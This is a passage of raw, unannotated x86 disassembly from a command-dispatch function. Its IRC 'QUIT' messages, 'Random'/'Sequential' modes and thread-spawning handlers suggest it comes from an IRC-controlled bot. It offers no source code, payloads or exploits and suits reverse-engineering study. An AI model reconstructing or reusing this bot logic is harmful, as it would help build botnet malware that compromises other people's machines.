jmp short loc_4038D7
; ---------------------------------------------------------------------------
loc_4038BD: ; CODE XREF: sub_401ACD+1DE2j
mov eax, [ebp+arg_0]
mov ecx, eax
mov [ebp+var_730], eax
shl ecx, 6
mov ecx, dword_431AC8[ecx]
mov [ebp+var_74C], ecx
loc_4038D7: ; CODE XREF: sub_401ACD+1DC7j
; sub_401ACD+1DEEj
cmp [ebp+var_74C], ebx
jz loc_403AE0
push 10h
lea eax, [ebp+var_2D4]
pop edi
push eax
lea eax, [ebp+var_30C]
push eax
mov [ebp+var_2D4], edi
push [ebp+arg_4]
call dword_4CB5C8
mov al, [ebp+var_8FF]
push edi
neg al
sbb eax, eax
and ax, 100h
add eax, 0FFFFh
and [ebp+var_308], eax
push [ebp+var_308]
call dword_4CB6B0
push eax
lea eax, [ebp+var_860]
push eax
call sub_41B5F0
xor eax, eax
cmp [ebp+var_8FF], bl
push 30h
setnz al
inc eax
inc eax
mov edi, eax
lea eax, [ebp+var_860]
push eax
call sub_41BE40
add esp, 14h
cmp edi, ebx
mov byte ptr [ebp+arg_24+3], bl
jle short loc_40397F
loc_40395D: ; CODE XREF: sub_401ACD+1EB0j
cmp eax, ebx
jz short loc_40397F
mov byte ptr [eax], 78h
lea eax, [ebp+var_860]
push 30h
push eax
call sub_41BE40
inc byte ptr [ebp+arg_24+3]
pop ecx
pop ecx
movsx ecx, byte ptr [ebp+arg_24+3]
cmp ecx, edi
jl short loc_40395D
loc_40397F: ; CODE XREF: sub_401ACD+1E8Ej
; sub_401ACD+1E92j
mov eax, [ebp+arg_4]
push [ebp+var_88]
mov [ebp+var_750], eax
mov eax, [ebp+var_4]
mov [ebp+var_728], eax
mov eax, [ebp+var_8]
mov [ebp+var_724], eax
mov edi, 80h
lea eax, [ebp+var_850]
push edi
push eax
mov [ebp+var_720], 1
call sub_41B980
push offset dword_43D7D8
push esi
call sub_41C070
add esp, 14h
test eax, eax
jz short loc_4039E1
push esi
lea eax, [ebp+var_7D0]
push edi
push eax
call sub_41B980
add esp, 0Ch
jmp short loc_4039E7
; ---------------------------------------------------------------------------
loc_4039E1: ; CODE XREF: sub_401ACD+1EFFj
mov [ebp+var_7D0], bl
loc_4039E7: ; CODE XREF: sub_401ACD+1F12j
cmp [ebp+var_720], ebx
mov eax, offset aRandom ; "Random"
jnz short loc_4039F9
mov eax, offset aSequential ; "Sequential"
loc_4039F9: ; CODE XREF: sub_401ACD+1F25j
push [ebp+var_734]
lea ecx, [ebp+var_860]
push [ebp+var_744]
push [ebp+var_748]
push [ebp+var_74C]
push ecx
push eax
lea eax, [ebp+var_2C4]
push offset unk_42C5E4
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 0Bh
push eax
call sub_40B0F6
add esp, 2Ch
mov [ebp+var_740], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_860]
push ebx
push eax
push offset loc_40C33C
push ebx
push ebx
nop
call near ptr 282060Ah
mov ecx, [ebp+var_740]
imul ecx, 234h
cmp eax, ebx
mov dword_43E574[ecx], eax
jz short loc_403A83
loc_403A71: ; CODE XREF: sub_401ACD+1FB4j
cmp [ebp+var_71C], ebx
jnz short loc_403A9E
push 32h
call near ptr 2820566h
nop
jmp short loc_403A71
; ---------------------------------------------------------------------------
loc_403A83: ; CODE XREF: sub_401ACD+1FA2j
call near ptr 2830047h
nop
push eax
lea eax, [ebp+var_2C4]
push offset unk_42C5A8
push eax
call sub_41B886
add esp, 0Ch
loc_403A9E: ; CODE XREF: sub_401ACD+1FAAj
cmp [ebp+var_8], ebx
jnz short loc_403ABF
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
add esp, 14h
loc_403ABF: ; CODE XREF: sub_401ACD+1FD4j
lea eax, [ebp+var_2C4]
push eax
call sub_4151AC
pop ecx
loc_403ACC: ; CODE XREF: sub_401ACD+1D94j
add [ebp+arg_18], 0Bh
mov eax, [ebp+arg_18]
cmp [eax], bl
jnz loc_403817
jmp loc_401E94
; ---------------------------------------------------------------------------
loc_403AE0: ; CODE XREF: sub_401ACD+1E10j
push offset unk_42C570
jmp loc_406F04
; ---------------------------------------------------------------------------
loc_403AEA: ; CODE XREF: sub_401ACD+1B65j
; sub_401ACD+1B7Aj
push 5
call sub_40B33E
test eax, eax
pop ecx
jle short loc_403B00
push offset unk_42C550
jmp loc_406F04
; ---------------------------------------------------------------------------
loc_403B00: ; CODE XREF: sub_401ACD+2027j
mov eax, [ebp+esi+var_8C]
cmp eax, ebx
jz short loc_403B23
push eax
mov edi, 104h
lea eax, [ebp+var_2D50]
push edi
push eax
call sub_41B980
add esp, 0Ch
jmp short loc_403B37
; ---------------------------------------------------------------------------
loc_403B23: ; CODE XREF: sub_401ACD+203Cj
mov edi, 104h
lea eax, [ebp+var_2D50]
push edi
push eax
push ebx
nop
call near ptr 2810000h
loc_403B37: ; CODE XREF: sub_401ACD+2054j
mov esi, [ebp+esi+var_88]
cmp esi, ebx
jnz short loc_403B47
mov esi, offset byte_429108
loc_403B47: ; CODE XREF: sub_401ACD+2073j
push esi
lea eax, [ebp+var_2C4C]
push edi
push eax
call sub_41B980
mov eax, dword_429078
push 7Fh
push [ebp+var_88]
mov [ebp+var_2B40], eax
mov eax, [ebp+arg_4]
mov [ebp+var_2B44], ebx
mov [ebp+var_2D54], eax
lea eax, [ebp+var_2B3C]
push eax
call sub_41B5F0
mov eax, [ebp+var_4]
add esp, 18h
mov [ebp+var_2ABC], eax
mov eax, [ebp+var_8]
mov [ebp+var_2AB8], eax
lea eax, [ebp+var_2D50]
push eax
lea eax, [ebp+var_2C4]
push [ebp+var_2B40]
push offset unk_42C51C
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 5
push eax
call sub_40B0F6
add esp, 1Ch
mov [ebp+var_2B48], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_2D54]
push ebx
push eax
push offset word_411796
push ebx
push ebx
nop
call near ptr 282060Ah
mov ecx, [ebp+var_2B48]
imul ecx, 234h
cmp eax, ebx
mov dword_43E574[ecx], eax
jz short loc_403C13
loc_403BFD: ; CODE XREF: sub_401ACD+2144j
cmp [ebp+var_2AB4], ebx
jnz loc_40828B
push 32h
nop
call near ptr 2820566h
jmp short loc_403BFD
; ---------------------------------------------------------------------------
loc_403C13: ; CODE XREF: sub_401ACD+212Ej
call near ptr 2830047h
nop
push eax
push offset unk_42C4E0
jmp loc_4049EB
; ---------------------------------------------------------------------------
loc_403C24: ; CODE XREF: sub_401ACD+1B3Bj
; sub_401ACD+1B50j
mov edi, [ebp+esi+var_8C]
cmp edi, ebx
jz short loc_403C43
push edi
call sub_41B779
test eax, eax
pop ecx
jz short loc_403C43
push edi
call sub_41B779
pop ecx
jmp short loc_403C48
; ---------------------------------------------------------------------------
loc_403C43: ; CODE XREF: sub_401ACD+2160j
; sub_401ACD+216Bj
mov eax, dword_42907C
loc_403C48: ; CODE XREF: sub_401ACD+2174j
mov esi, [ebp+esi+var_88]
mov [ebp+var_36C8], eax
xor eax, eax
cmp [ebp+var_8FC], bl
setz al
cmp esi, ebx
mov [ebp+var_36B4], eax
jz short loc_403C7B
lea eax, [ebp+var_37CC]
push esi
push eax
call sub_41B886
pop ecx
pop ecx
jmp short loc_403CA6
; ---------------------------------------------------------------------------
loc_403C7B: ; CODE XREF: sub_401ACD+219Bj
lea eax, [ebp+var_4FF4]
push 104h
push eax
call near ptr 2820000h
nop
push ebx
push ebx
lea eax, [ebp+var_4C8]
push ebx
push eax
lea eax, [ebp+var_4FF4]
push eax
call sub_41B9D1
add esp, 14h
loc_403CA6: ; CODE XREF: sub_401ACD+21ACj
lea eax, [ebp+var_37CC]
push eax
call sub_41AFE0
cmp [ebp+eax+var_37CD], 5Ch
pop ecx
jnz short loc_403CD1
lea eax, [ebp+var_37CC]
push eax
call sub_41AFE0
pop ecx
mov [ebp+eax+var_37CD], bl
loc_403CD1: ; CODE XREF: sub_401ACD+21EEj
push [ebp+var_88]
mov esi, [ebp+arg_4]
lea eax, [ebp+var_3A54]
mov [ebp+var_3A58], esi
push 80h
push eax
call sub_41B980
mov eax, [ebp+var_8]
mov edi, [ebp+var_4]
add esp, 0Ch
mov [ebp+var_36B8], eax
lea eax, [ebp+var_37CC]
mov [ebp+var_36BC], edi
push eax
push [ebp+var_36C8]
push esi
call sub_40AC0F
pop ecx
push eax
lea eax, [ebp+var_2C4]
push offset unk_42C4A4
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 3
push eax
call sub_40B0F6
add esp, 20h
mov [ebp+var_36C0], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_3A58]
push ebx
push eax
push offset sub_40F0D5
push ebx
push ebx
nop
call near ptr 282060Ah
mov ecx, [ebp+var_36C0]
imul ecx, 234h
cmp eax, ebx
mov dword_43E574[ecx], eax
jz short loc_403D85
loc_403D73: ; CODE XREF: sub_401ACD+22B6j
cmp [ebp+var_36AC], ebx
jnz short loc_403DA0
push 32h
nop
call near ptr 2820566h
jmp short loc_403D73
; ---------------------------------------------------------------------------
loc_403D85: ; CODE XREF: sub_401ACD+22A4j
nop
call near ptr 2830047h
push eax
push offset unk_42C468
loc_403D91: ; CODE XREF: sub_401ACD+2419j
; sub_401ACD+4D04j ...
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
add esp, 0Ch
loc_403DA0: ; CODE XREF: sub_401ACD+22ACj
; sub_401ACD+23FDj ...
cmp [ebp+var_8], ebx
jnz loc_4083BC
push ebx
push edi
jmp loc_407285
; ---------------------------------------------------------------------------
loc_403DB0: ; CODE XREF: sub_401ACD+1B11j
; sub_401ACD+1B26j
mov edi, [ebp+esi+var_8C]
cmp edi, ebx
jz short loc_403DCF
push edi
call sub_41B779
test eax, eax
pop ecx
jz short loc_403DCF
push edi
call sub_41B779
pop ecx
jmp short loc_403DD4
; ---------------------------------------------------------------------------
loc_403DCF: ; CODE XREF: sub_401ACD+22ECj
; sub_401ACD+22F7j
mov eax, dword_429080
loc_403DD4: ; CODE XREF: sub_401ACD+2300j
mov [ebp+var_1824], eax
mov eax, [ebp+esi+var_88]
cmp eax, ebx
jnz short loc_403DEB
lea eax, [ebp+var_C4]
loc_403DEB: ; CODE XREF: sub_401ACD+2316j
push eax
lea eax, [ebp+var_1964]
push 40h
push eax
call sub_41B980
mov esi, [ebp+esi+var_84]
add esp, 0Ch
cmp esi, ebx
jnz short loc_403E0D
mov esi, offset dword_43D7D8
loc_403E0D: ; CODE XREF: sub_401ACD+2339j
push esi
lea eax, [ebp+var_1924]
push 100h
push eax
call sub_41B980
add esp, 0Ch
lea eax, [ebp+var_19E4]
push [ebp+var_88]
push 80h
push eax
call sub_41B980
mov eax, [ebp+var_8]
mov esi, [ebp+arg_4]
mov edi, [ebp+var_4]
add esp, 0Ch
mov [ebp+var_1810], eax
lea eax, [ebp+var_1964]
push eax
mov [ebp+var_19E8], esi
push [ebp+var_1824]
mov [ebp+var_1814], edi
push esi
call sub_40AC0F
pop ecx
push eax
lea eax, [ebp+var_2C4]
push offset unk_42C42C
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 9
push eax
call sub_40B0F6
add esp, 20h
mov [ebp+var_1820], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_19E8]
push ebx
push eax
push offset byte_410A4D
push ebx
push ebx
nop
call near ptr 282060Ah
mov ecx, [ebp+var_1820]
imul ecx, 234h
cmp eax, ebx
mov dword_43E574[ecx], eax
jz short loc_403EDA
loc_403EC4: ; CODE XREF: sub_401ACD+240Bj
cmp [ebp+var_180C], ebx
jnz loc_403DA0
push 32h
nop
call near ptr 2820566h
jmp short loc_403EC4
; ---------------------------------------------------------------------------
loc_403EDA: ; CODE XREF: sub_401ACD+23F5j
nop
call near ptr 2830047h
push eax
push offset unk_42C3F0
jmp loc_403D91
; ---------------------------------------------------------------------------
loc_403EEB: ; CODE XREF: sub_401ACD+1AE7j
; sub_401ACD+1AFCj
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jz short loc_403EFE
push esi
call sub_41B779
jmp short loc_403F05
; ---------------------------------------------------------------------------
loc_403EFE: ; CODE XREF: sub_401ACD+2427j
push 0Bh
call sub_40B35D
loc_403F05: ; CODE XREF: sub_401ACD+242Fj
cmp eax, ebx
pop ecx
jz loc_409854
push eax
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40BA56
jmp loc_4043B9
; ---------------------------------------------------------------------------
loc_403F25: ; CODE XREF: sub_401ACD+1ABDj
; sub_401ACD+1AD2j
mov eax, dword_4CB540
cmp eax, ebx
jz short loc_403F42
call eax
test eax, eax
jz short loc_403F3B
push offset unk_42C3CC
jmp short loc_403F47
; ---------------------------------------------------------------------------
loc_403F3B: ; CODE XREF: sub_401ACD+2465j
push offset unk_42C3A0
jmp short loc_403F47
; ---------------------------------------------------------------------------
loc_403F42: ; CODE XREF: sub_401ACD+245Fj
push offset unk_42C374
loc_403F47: ; CODE XREF: sub_401ACD+246Cj
; sub_401ACD+2473j ...
lea eax, [ebp+var_2C4]
push 200h
push eax
call sub_41B980
jmp loc_406CDB
; ---------------------------------------------------------------------------
loc_403F5D: ; CODE XREF: sub_401ACD+1A93j
; sub_401ACD+1AA8j
call sub_40AB31
test eax, eax
jz short loc_403F6D
push offset unk_42C350
jmp short loc_403F47
; ---------------------------------------------------------------------------
loc_403F6D: ; CODE XREF: sub_401ACD+2497j
push offset unk_42C324
jmp short loc_403F47
; ---------------------------------------------------------------------------
loc_403F74: ; CODE XREF: sub_401ACD+1A69j
; sub_401ACD+1A7Ej
cmp [ebp+var_8], ebx
jnz short loc_403F93
push ebx
push [ebp+var_4]
push offset dword_42C30C
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
add esp, 14h
loc_403F93: ; CODE XREF: sub_401ACD+24AAj
push ebx
push [ebp+var_4]
call sub_4181D6
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
push offset dword_42C2F0
jmp loc_404285
; ---------------------------------------------------------------------------
loc_403FB5: ; CODE XREF: sub_401ACD+18F9j
; sub_401ACD+190Ej
push 0Ah
call sub_40B33E
test eax, eax
pop ecx
jle short loc_403FCB
push offset unk_42C2C4
jmp loc_409601
; ---------------------------------------------------------------------------
loc_403FCB: ; CODE XREF: sub_401ACD+24F2j
push [ebp+var_88]
push [ebp+arg_4]
call sub_419C64
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_403FEA
push offset unk_42C29C
jmp loc_409601
; ---------------------------------------------------------------------------
loc_403FEA: ; CODE XREF: sub_401ACD+2511j
push offset unk_42C27C
jmp loc_409601
; ---------------------------------------------------------------------------
loc_403FF4: ; CODE XREF: sub_401ACD+18CFj
; sub_401ACD+18E4j
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40A7CE
jmp loc_401E91
; ---------------------------------------------------------------------------
loc_40400D: ; CODE XREF: sub_401ACD+18A5j
; sub_401ACD+18BAj
push [ebp+esi+var_8C]
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_416C28
jmp loc_401E91
; ---------------------------------------------------------------------------
loc_40402A: ; CODE XREF: sub_401ACD+187Bj
; sub_401ACD+1890j
or edi, 0FFFFFFFFh
nop
call near ptr 2830E52h
xor edx, edx
mov ecx, 3E8h
div ecx
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
mov [ebp+arg_0], eax
jz short loc_404053
push esi
call sub_41B779
pop ecx
mov edi, eax
loc_404053: ; CODE XREF: sub_401ACD+257Bj
mov eax, [ebp+arg_0]
xor edx, edx
mov ecx, 15180h
div ecx
cmp eax, edi
jnb short loc_40406C
cmp edi, 0FFFFFFFFh
jnz loc_409854
loc_40406C: ; CODE XREF: sub_401ACD+2594j
push ebx
call sub_41A88B
pop ecx
push eax
lea eax, [ebp+var_2C4]
push offset dword_42C264
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
lea eax, [ebp+var_2C4]
push eax
call sub_4151AC
loc_4040AA: ; CODE XREF: sub_401ACD+529Cj
add esp, 24h
jmp loc_409854
; ---------------------------------------------------------------------------
loc_4040B2: ; CODE XREF: sub_401ACD+1851j
; sub_401ACD+1866j
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_415A2F
add esp, 0Ch
push offset dword_42C244
jmp loc_406F04
; ---------------------------------------------------------------------------
loc_4040D0: ; CODE XREF: sub_401ACD+1827j
; sub_401ACD+183Cj
push 27h
call sub_40B33E
test eax, eax
pop ecx
jle short loc_404104
cmp [ebp+var_8], ebx
jnz loc_401E94
push ebx
push [ebp+var_4]
push offset unk_42C224
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
loc_4040FC: ; CODE XREF: sub_401ACD+7237j
add esp, 14h
jmp loc_401E94
; ---------------------------------------------------------------------------
loc_404104: ; CODE XREF: sub_401ACD+260Dj
push [ebp+var_88]
lea eax, [ebp+var_B2C]
push 80h
push eax
call sub_41B980
mov eax, [ebp+arg_4]
mov esi, [ebp+esi+var_8C]
mov [ebp+var_B30], eax
mov eax, [ebp+var_4]
mov [ebp+var_AA4], eax
mov eax, [ebp+var_8]
add esp, 0Ch
cmp esi, ebx
mov [ebp+var_AA0], eax
mov [ebp+var_AA8], ebx
jz short loc_404165
push esi
push offset aFull ; "full"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_404165
mov [ebp+var_AA8], 1
loc_404165: ; CODE XREF: sub_401ACD+267Bj
; sub_401ACD+268Cj
lea eax, [ebp+var_2C4]
push offset dword_42C200
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 27h
push eax
call sub_40B0F6
add esp, 14h
mov [ebp+var_AAC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_B30]
push ebx
push eax
push offset sub_4198EB
push ebx
push ebx
nop
call near ptr 282060Ah
mov ecx, [ebp+var_AAC]
imul ecx, 234h
cmp eax, ebx
mov dword_43E574[ecx], eax
jz short loc_4041D3
loc_4041BD: ; CODE XREF: sub_401ACD+2704j
cmp [ebp+var_A9C], ebx
jnz loc_409630
push 32h
call near ptr 2820566h
nop
jmp short loc_4041BD
; ---------------------------------------------------------------------------
loc_4041D3: ; CODE XREF: sub_401ACD+26EEj
nop
call near ptr 2830047h
push eax
lea eax, [ebp+var_2C4]
push offset unk_42C1C4
push eax
call sub_41B886
add esp, 0Ch
jmp loc_409630
; ---------------------------------------------------------------------------
loc_4041F3: ; CODE XREF: sub_401ACD+17FDj
; sub_401ACD+1812j
cmp [ebp+var_8], ebx
jnz short loc_404212
push ebx
push [ebp+var_4]
push offset dword_42C1A8
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
add esp, 14h
loc_404212: ; CODE XREF: sub_401ACD+2729j
push [ebp+arg_4]
call dword_4CB6BC
call dword_4CB57C
call sub_418359
push ebx
nop
call near ptr 77E75CB5h
loc_40422D: ; CODE XREF: sub_401ACD+17D3j
; sub_401ACD+17E8j
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push [ebp+arg_4]
push eax
call sub_41AA42
pop ecx
pop ecx
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
push offset dword_42C18C
jmp short loc_404285
; ---------------------------------------------------------------------------
loc_404258: ; CODE XREF: sub_401ACD+17A9j
; sub_401ACD+17BEj
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push [ebp+arg_4]
push [ebp+arg_1C]
push eax
call sub_41ACF6
add esp, 0Ch
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
push offset dword_42C170
loc_404285: ; CODE XREF: sub_401ACD+24E3j
; sub_401ACD+2789j
call sub_4151AC
add esp, 18h
jmp loc_409854
; ---------------------------------------------------------------------------
loc_404292: ; CODE XREF: sub_401ACD+177Fj
; sub_401ACD+1794j
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_41524C
jmp loc_401E91
; ---------------------------------------------------------------------------
loc_4042AB: ; CODE XREF: sub_401ACD+1755j
; sub_401ACD+176Aj
cmp [ebp+var_C], ebx
mov [ebp+var_1594], bl
jz short loc_4042EA
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jz short loc_4042EA
push esi
push [ebp+var_C]
call sub_41B900
pop ecx
cmp eax, ebx
pop ecx
jz short loc_4042EA
push eax
push offset aS_1 ; "%s"
lea eax, [ebp+var_1594]
push 80h
push eax
call sub_41B980
add esp, 10h
loc_4042EA: ; CODE XREF: sub_401ACD+27E7j
; sub_401ACD+27F2j ...
push [ebp+var_88]
lea eax, [ebp+var_1614]
push 80h
push eax
call sub_41B980
mov eax, [ebp+arg_4]
add esp, 0Ch
mov [ebp+var_1618], eax
mov eax, [ebp+var_4]
mov [ebp+var_1510], eax
mov eax, [ebp+var_8]
mov [ebp+var_150C], eax
lea eax, [ebp+var_2C4]
push offset dword_42C158
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 25h
push eax
call sub_40B0F6
add esp, 14h
mov [ebp+var_1514], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1618]
push ebx
push eax
push offset byte_41528D
push ebx
push ebx
nop
call near ptr 282060Ah
mov ecx, [ebp+var_1514]
imul ecx, 234h
cmp eax, ebx
mov dword_43E574[ecx], eax
jz short loc_40438D
loc_404377: ; CODE XREF: sub_401ACD+28BEj
cmp [ebp+var_1508], ebx
jnz loc_401E94
push 32h
nop
call near ptr 2820566h
jmp short loc_404377
; ---------------------------------------------------------------------------
loc_40438D: ; CODE XREF: sub_401ACD+28A8j
call near ptr 2830047h
nop
push eax
push offset unk_42C120
jmp loc_402077
; ---------------------------------------------------------------------------
loc_40439E: ; CODE XREF: sub_401ACD+172Bj
; sub_401ACD+1740j
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_415134
push offset dword_42C108
call sub_4151AC
loc_4043B9: ; CODE XREF: sub_401ACD+2453j
add esp, 10h
jmp loc_409854
; ---------------------------------------------------------------------------
loc_4043C1: ; CODE XREF: sub_401ACD+1701j
; sub_401ACD+1716j
push [ebp+var_88]
lea eax, [ebp+var_BC4]
push 80h
push eax
call sub_41B980
mov eax, [ebp+arg_4]
mov esi, [ebp+esi+var_8C]
mov [ebp+var_BC8], eax
mov eax, [ebp+var_4]
mov [ebp+var_B3C], eax
mov eax, [ebp+var_8]
add esp, 0Ch
cmp esi, ebx
mov [ebp+var_B38], eax
jz short loc_40441B
push offset dword_42C104
push esi
call sub_41C070
neg eax
sbb eax, eax
pop ecx
inc eax
pop ecx
mov [ebp+var_B40], eax
jmp short loc_404421
; ---------------------------------------------------------------------------
loc_40441B: ; CODE XREF: sub_401ACD+2932j
mov [ebp+var_B40], ebx
loc_404421: ; CODE XREF: sub_401ACD+294Cj
lea eax, [ebp+var_2C4]
push offset dword_42C0E4
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 28h
push eax
call sub_40B0F6
add esp, 14h
mov [ebp+var_B44], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_BC8]
push ebx
push eax
push offset byte_40B161
push ebx
push ebx
nop
call near ptr 282060Ah
mov ecx, [ebp+var_B44]
imul ecx, 234h
cmp eax, ebx
mov dword_43E574[ecx], eax
jz short loc_40448F
loc_404479: ; CODE XREF: sub_401ACD+29C0j
cmp [ebp+var_B34], ebx
jnz loc_406CFF
push 32h
nop
call near ptr 2820566h
jmp short loc_404479
; ---------------------------------------------------------------------------
loc_40448F: ; CODE XREF: sub_401ACD+29AAj
nop
call near ptr 2830047h
push eax
push offset unk_42C0A8
jmp loc_409226
; ---------------------------------------------------------------------------
loc_4044A0: ; CODE XREF: sub_401ACD+1685j
; sub_401ACD+169Aj
push offset aDark ; "Dark"
push offset dword_42C090
loc_4044AA: ; CODE XREF: sub_401ACD+2A1Cj
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
add esp, 20h
jmp loc_406CFF
; ---------------------------------------------------------------------------
loc_4044D7: ; CODE XREF: sub_401ACD+165Bj
; sub_401ACD+1670j
push dword_4CB364
call sub_41A88B
pop ecx
push eax
push offset unk_42C064
jmp short loc_4044AA
; ---------------------------------------------------------------------------
loc_4044EB: ; CODE XREF: sub_401ACD+1631j
; sub_401ACD+1646j
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jz short loc_40451D
cmp [ebp+var_C], ebx
jz short loc_40452C
push esi
push [ebp+var_C]
call sub_41B900
pop ecx
cmp eax, ebx
pop ecx
jz short loc_40452C
push eax
push offset aQuitS ; "QUIT :%s\r\n"
push [ebp+arg_4]
call sub_409A2C
add esp, 0Ch
jmp short loc_40452C
; ---------------------------------------------------------------------------
loc_40451D: ; CODE XREF: sub_401ACD+2A27j
push offset aQuitLater ; "QUIT :later\r\n"
push [ebp+arg_4]
call sub_409A2C
pop ecx
pop ecx
loc_40452C: ; CODE XREF: sub_401ACD+2A2Cj
; sub_401ACD+2A3Bj ...
push 0FFFFFFFEh
jmp loc_401E96
; ---------------------------------------------------------------------------
loc_404533: ; CODE XREF: sub_401ACD+1607j
; sub_401ACD+161Cj
push offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
push [ebp+arg_4]
call sub_409A2C
push offset dword_42C014
call sub_4151AC
add esp, 0Ch
or eax, 0FFFFFFFFh
jmp loc_401E97
; ---------------------------------------------------------------------------
loc_404555: ; CODE XREF: sub_401ACD+15DDj
; sub_401ACD+15F2j
push offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
push [ebp+arg_4]
call sub_409A2C
push offset dword_42BFE0
call sub_4151AC
add esp, 0Ch
jmp loc_4097B9
; ---------------------------------------------------------------------------
loc_404574: ; CODE XREF: sub_401ACD+15B3j
; sub_401ACD+15C8j
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40B7DA
jmp loc_404933
; ---------------------------------------------------------------------------
loc_40458A: ; CODE XREF: sub_401ACD+1589j
; sub_401ACD+159Ej
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40B785
jmp loc_404933
; ---------------------------------------------------------------------------
loc_4045A0: ; CODE XREF: sub_401ACD+155Fj
; sub_401ACD+1574j
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40B719
jmp loc_404933
; ---------------------------------------------------------------------------
loc_4045B6: ; CODE XREF: sub_401ACD+1535j
; sub_401ACD+154Aj
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40B64A
jmp loc_404933
; ---------------------------------------------------------------------------
loc_4045CC: ; CODE XREF: sub_401ACD+1490j
; sub_401ACD+14A5j
push [ebp+esi+var_8C]
push 27h
push offset dword_42BFD0
push offset dword_42BFC0
jmp loc_402B24
; ---------------------------------------------------------------------------
loc_4045E4: ; CODE XREF: sub_401ACD+1466j
; sub_401ACD+147Bj
push [ebp+esi+var_8C]
push 24h
push offset dword_42BFB4
push offset dword_42BFA4
jmp loc_402B24
; ---------------------------------------------------------------------------
loc_4045FC: ; CODE XREF: sub_401ACD+1082j
; sub_401ACD+1097j
mov edi, [ebp+esi+var_8C]
cmp edi, ebx
jz short loc_40461B
push edi
call sub_41B779
test eax, eax
pop ecx
jz short loc_40461B
push edi
call sub_41B779
pop ecx
jmp short loc_404620
; ---------------------------------------------------------------------------
loc_40461B: ; CODE XREF: sub_401ACD+2B38j
; sub_401ACD+2B43j
mov eax, dword_429074
loc_404620: ; CODE XREF: sub_401ACD+2B4Cj
mov esi, [ebp+esi+var_88]
mov [ebp+var_590], eax
cmp esi, ebx
jz short loc_404645
push esi
loc_404632: ; CODE XREF: sub_401ACD+2B87j
lea eax, [ebp+var_5A0]
push 10h
push eax
call sub_41B980
add esp, 0Ch
jmp short loc_40465C
; ---------------------------------------------------------------------------
loc_404645: ; CODE XREF: sub_401ACD+2B62j
cmp [ebp+var_8FF], bl
jz short loc_404656
lea eax, [ebp+var_C4]
push eax
jmp short loc_404632
; ---------------------------------------------------------------------------
loc_404656: ; CODE XREF: sub_401ACD+2B7Ej
mov [ebp+var_5A0], bl
loc_40465C: ; CODE XREF: sub_401ACD+2B76j
mov eax, [ebp+var_4]
push [ebp+var_88]
mov esi, [ebp+arg_4]
mov [ebp+var_584], eax
mov eax, [ebp+var_8]
push 80h
mov [ebp+var_580], eax
lea eax, [ebp+var_620]
push eax
mov [ebp+var_624], esi
call sub_41B980
add esp, 0Ch
push [ebp+var_590]
push esi
call sub_40AC0F
pop ecx
push eax
lea eax, [ebp+var_2C4]
push offset dword_42BF7C
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 19h
push eax
call sub_40B0F6
add esp, 1Ch
mov [ebp+var_58C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_624]
push ebx
push eax
push offset byte_4111CD
push ebx
push ebx
nop
call near ptr 282060Ah
mov ecx, [ebp+var_58C]
imul ecx, 234h
cmp eax, ebx
mov dword_43E574[ecx], eax
jz short loc_40470D
loc_4046F7: ; CODE XREF: sub_401ACD+2C3Ej
cmp [ebp+var_57C], ebx
jnz loc_401E94
push 32h
call near ptr 2820566h
nop
jmp short loc_4046F7
; ---------------------------------------------------------------------------
loc_40470D: ; CODE XREF: sub_401ACD+2C28j
nop
call near ptr 2830047h
push eax
push offset dword_42BF40
jmp loc_402077
; ---------------------------------------------------------------------------
